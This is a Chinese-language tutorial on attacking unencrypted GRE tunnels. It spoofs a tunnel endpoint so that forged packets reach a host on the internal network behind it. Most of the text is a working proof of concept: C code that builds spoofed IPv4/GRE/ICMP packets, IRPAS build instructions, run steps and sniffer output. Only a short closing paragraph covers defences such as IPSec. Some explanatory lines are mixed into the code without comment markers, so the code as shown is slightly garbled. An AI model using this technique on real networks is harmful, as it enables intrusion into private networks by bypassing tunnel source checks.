GRE协议是构建一个通道穿过公共因特网,使得基于无法公开路由的协议的非IP流量可以到达它们的目的地。
为了针对内部网络上的主机执行攻击,你需要知道提供GRE隧道的2个终端的外部IP以及你要攻击的主机的内部IP。这可以通过多种方式实现,如利用Google算子搜索、路由列举、嗅探和指纹识别。
首先我们需要生成一个GRE包,它的目的IP是xxx.xxx.xxx.5(GRE隧道的一端),源IP是xxx.xxx.xxx.1(GRE隧道的另一端)。这个包的GRE头部起初设置为空,我们在载荷放入我们的包,其目的IP为a.a.a.5(受害主机内部IP),源IP为我们控制的可以用于嗅探接收到的响应的主机地址。请注意,我们需要将包放置在肯定会产生响应的路径上,否则我们就永远都无法发现攻击是否成功了。
下面是针对ICMP ping注射的概念验证型代码,这是一种明智的选择,因为内部网络上的主机往往不会阻塞进入的ICMP echo请求。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <netinet/in.h> #include <rpc/types.h> #include <netdb.h> #include <sys/socket.h> #include <arpa/inet.h> #include <errno.h> #include <signal.h> #include <sys/types.h> #include <fcntl.h>
#include "protocols.h" #include "packets.h"
这是一个非常糟糕的测试。 我们发送一个ping数据包到VICTIM,入侵到ROUTER A和ROUTER B之间的GRE隧道,VICTIM位于ROUTER A的背后。 这里使用以下信息: VICTIM的IP地址 ROUTER A的 外部IP 目标隧道设置(可能是ROUTER B) ROUTER B的 外部IP
数据包封装在IPv4和GRE(RFC1701)头。然后它发送到ROUTER A的隧道源地址(可能是ROUTER B的外部IP)的发送者地址。然后,VICTIM响应ICMP echo并发送默认路由器到ROUTER A。ROUTER A封装的数据包的源地址是我们自己的。因此如果ROUTER A能够到达我们这里,它将会把数据包返回给我们。否则,它可能会发送数据包到ROUTER B的GRE并发送给我们。
#define VICTIM "v.v.v.5" #define ROUTER_A "xxx.xxx.xxx.xx5" #define ROUTER_B "xxx.xxx.xxx.xx1" struct { struct in_addr router_a; struct in_addr router_b; struct in_addr victim; } cfg;
int main(int argc, char **argv) {
u_char *packet; iphdr_t *ip_gre,*ip_my; grehdr_t *gre; icmp_ping_t *ping; int psize; int socket;
初始化一个套接字并填写packet_ifconfig socket=init_socket_IP4("eth0",0);
生成IP地址
inet_aton(VICTIM,&(cfg.victim)); inet_aton(ROUTER_A,&(cfg.router_a)); inet_aton(ROUTER_B,&(cfg.router_b));
建立外部数据包 psize=sizeof(iphdr_t)*2 +sizeof(grehdr_t) +sizeof(icmp_ping_t); packet=(u_char *)smalloc(psize+3);
ip_gre=(iphdr_t *)packet; ip_gre->version=4; ip_gre->ihl=sizeof(iphdr_t)/4; ip_gre->tot_len=htons(psize); ip_gre->protocol=IPPROTO_GRE; ip_gre->id=htons(0xAFFE); 这是一个测试 ip_gre->ttl=30; memcpy(&(ip_gre->saddr.s_addr),&(cfg.router_b.s_addr),IP_ADDR_LEN); memcpy(&(ip_gre->daddr.s_addr),&(cfg.router_a.s_addr),IP_ADDR_LEN);
gre=(grehdr_t *)(packet+sizeof(iphdr_t)); gre->flags=0; gre->proto=htons(0x0800); IPv4 - RFC1700
ip_my=(iphdr_t *)(packet+sizeof(iphdr_t)+sizeof(grehdr_t)); ip_my->version=4; ip_my->ihl=sizeof(iphdr_t)/4; ip_my->tot_len=htons(sizeof(iphdr_t)+sizeof(icmp_ping_t)); ip_my->protocol=IPPROTO_ICMP; ip_my->id=htons(0xF0F0); ip_my->ttl=30; memcpy(&(ip_my->saddr.s_addr), &(packet_ifconfig.ip.s_addr),IP_ADDR_LEN); memcpy(&(ip_my->daddr.s_addr),&(cfg.victim),IP_ADDR_LEN); 因为没有接口,需要校验我们自己 ip_my->check=chksum((u_char *)(ip_my),sizeof(iphdr_t));
ping=(icmp_ping_t *)(packet+sizeof(iphdr_t)*2+sizeof(grehdr_t)); ping->icmp.type=ICMP_ECHO; ping->echo.identifier=0x22; ping->icmp.checksum=chksum((u_char *)ping,sizeof(icmp_ping_t)); 发送测试包
sendpack_IP4(socket,packet,psize); close(socket);
return 0; }
不要指望可以直接编译这份代码,你需要设置Phenoelit Tools中的IRPAS套件(http://www.phenoelit-us.org/irpas/irpas_0.10.tar.gz)。下载并解压缩IRPAS,将上述程序保存在gre.c下的IRPAS目录,打开Makefile。你需要在OBJECTS和PROGRAMS定义中添加gre.o和gre,还要添加下面几行,它们会决定gre.c中的编译:
gre.o: gre.c packets.h protocols.h ${CC} ${CFLAGS} -c gre.c gre: gre.o libpackets.a ${CC} ${CFLAGS} -o gre gre.o -lpackets ${CLIBS}
从这个角度而言,每次需要针对特定目标实施攻击时,你都需要改变gre.c中描述攻击的先决条件的值,并重新编译工具。
VICTIM, ROUTER_A and ROUTER_B
一旦分支路由器接收到这样一个包,它就会对包解封装,伪造的IP包会顺着路由器的路由表传输,到达受害主机。分支路由器会在解封装之前检查GRE包的源地址,但因为这个包是伪造成来自于总部路由器,因此会被认可并放过去。
一旦包到达受害机器,就会产生ICMP echo响应,这个响应会发送回指定的IP地址,此地址是我们在Internet上的嗅探机器。在我们的例子中,所有流量的默认路由都穿过总部,因此包通过GRE隧道发送回总部,再从总部转发到我们的主机。你不应该指望到达的包具有 a.a.a.5 IP地址,因为私有地址会被总部的路由器通过NAT进行转换,所以你必须“调整”你的tcpdump嗅探会话才能捕获它。然后你就应该会看到来自于受害主机的一个响应。
这种攻击很简单:只要执行# ./gre,并转向tcpdump“监听台”嗅探响应。下面是接收包的路由器上出现的信息:
025620: 15:55:22: IP: s=a.a.a.1 (Tunnel0), d=v.v.v.1 (Ethernet0/1), len 84, rcvd 3 025621: 15:55:22: IP: s=v.v.v.1 (Ethernet0/1), d=a.a.a.1 (Tunnel0), len 84, sending
下面是监听台的输出,你可以看到其中的ICMP响应:
15:55:22.553968 IP xxx.xxx.xxx.1 > a.a.a.1: icmp 64: echo reply seq 0
尾声 ~~~~~~~ 尽管此攻击听起来很容易实施,但无法保证能百分之百有效。它取决于网络的设置和防火墙的配置。不过,用于内部隧道流量的规则通常更宽松一些,你很有机会以此方式侵入。即使你第一次没有得到受害主机的响应,也不能说明攻击包没有到达该主机。在这个例子中,目标主机可能阻止ping,或者路由器或防火墙只允许ICMP echo响应在LAN内传输。通过利用不需要与受害主机进行双向通信的技术取得目标设备的根权限仍然是可能的,这取决于你的目的。
防范措施 ~~~~~~~~~~~ 如果有人在因特网上采用未加密的GRE隧道,这个人至少会被认为粗心大意。保护通信的最佳方式是利用正确的加密和认证,或者还可以在作用于出隧道的流量的防火墙上采用访问控制列表。至少采用预共享密钥IPSec保护GRE封装的包的内容并挫败攻击者毕竟不是那么困难。
|